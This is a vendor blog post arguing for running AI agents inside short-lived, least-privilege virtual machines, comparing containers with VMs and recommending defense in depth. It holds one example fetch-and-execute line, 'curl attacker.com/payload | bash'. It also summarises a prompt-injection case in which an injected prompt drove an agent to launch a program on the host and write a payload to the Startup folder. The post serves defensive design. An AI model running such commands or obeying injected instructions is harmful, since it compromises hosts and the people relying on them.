
By the OpenFactory Team · January 27, 2026
The most capable AI agents need more than API access. They need to write code and run it, browse the web, install packages, read and write files, and use command-line tools. In short, they need a computer.
The problem is obvious: giving an AI agent a computer means giving it the ability to execute arbitrary code. And that code comes from natural language prompts, the most injection-prone input surface in computing. One prompt injection away from curl attacker.com/payload | bash.
Prompt injection and excessive tool permissions are established agent risks. The OWASP prompt-injection guidance explains that model behavior alone cannot prevent these attacks. Isolation is one layer in a larger design: minimize authority, treat external content as untrusted, mediate tool calls, constrain data and network access, and make execution environments replaceable. The diagram below shows a VM boundary, not a guarantee that the guest is sealed from every host resource.
Prompt injection leads to code generation, code generation leads to code execution, and unsandboxed code execution leads to data exfiltration, lateral movement, or persistent backdoors. The entire chain from “user message” to “compromised server” can happen in a single agent turn.
It's not hypothetical. In May 2026, Microsoft's own security team showed that a single injected prompt was enough to launch calc.exe on the host running an agent built on Semantic Kernel (CVE-2026-26030). A related flaw let the agent write a payload straight into the Windows Startup folder (CVE-2026-25592). Their conclusion is the one that matters here: your LLM is not a security boundary, and any tool parameter the model can influence must be treated as attacker-controlled input. The agent faithfully executes injected instructions because it can't distinguish them from legitimate requests.
Containers share a host kernel; VMs introduce a separate guest kernel and hypervisor boundary. That difference matters when reducing shared-kernel exposure, but neither option is secure by default. The decision belongs in a documented threat model.
Container isolation uses namespaces, cgroups, capabilities, syscall filtering, mandatory access controls, and the host kernel. A VM adds a hypervisor and virtual-device surface instead of eliminating software risk. Both stacks need patching, least privilege, constrained networking, and monitoring.
For hostile or highly variable workloads, a separately managed guest kernel may be a useful additional layer. For lower-risk workloads, a hardened container can be a reasonable component. In either case, do not mount broad host paths, inject long-lived credentials, or grant unrestricted egress simply because the process runs inside an isolation primitive.
A VM normally runs a separate guest kernel, with resource access mediated by a virtual-machine monitor. That can narrow some attack paths, but the result still depends on hypervisor configuration, virtual devices, storage mappings, network segmentation, credentials, and the management plane.
NIST SP 800-125A describes the hypervisor as mediating access to host resources and recommends secure configuration for the full virtualization stack. Its companion network guidance emphasizes segmentation, firewalls, and monitoring. That is a useful operating model: a VM is a control boundary to configure and test, not a promise that a compromised guest cannot escape or reach sensitive services.
Lightweight virtual-machine monitors such as Firecracker are designed for short-lived workloads and a reduced device model. Startup, memory use, density, and supported guests vary by host and configuration, so measure the complete workload rather than relying on a headline benchmark.
Build a reviewed Linux artifact containing the tools the agent needs, verify its checksum and validation evidence, then place it inside an operator-configured VM boundary. Ephemerality, isolation, and least privilege are deployment decisions; an image alone cannot provide them.
OpenFactory lets you define exactly what goes into the agent's VM:
The best security property of an agent VM is that it doesn't persist. Deploy from a reviewed image, run the task, export only intended results, and destroy the guest. This limits guest-local persistence, provided external disks, caches, snapshots, credentials, and downstream systems are handled separately.
Traditional infrastructure fights to keep servers running. Agent infrastructure should fight to tear them down. The shorter the VM lives, the smaller the window for an attacker. The less state it accumulates, the less there is to exfiltrate.
Describe the target distribution, runtimes, tools, and validation checks in OpenFactory. Review the generated recipe before starting a build, then inspect the build log, artifact checksum, and boot-test results before using the image.
The practical goal is defense in depth: a reviewed artifact, a patched compute boundary, short-lived credentials, restricted mounts and egress, mediated tools, observable execution, and a tested destruction path. A VM can be one useful layer; it is not the whole sandbox.
Compare published self-service limits, or scope customer-controlled deployment and fleet requirements through a technical pilot.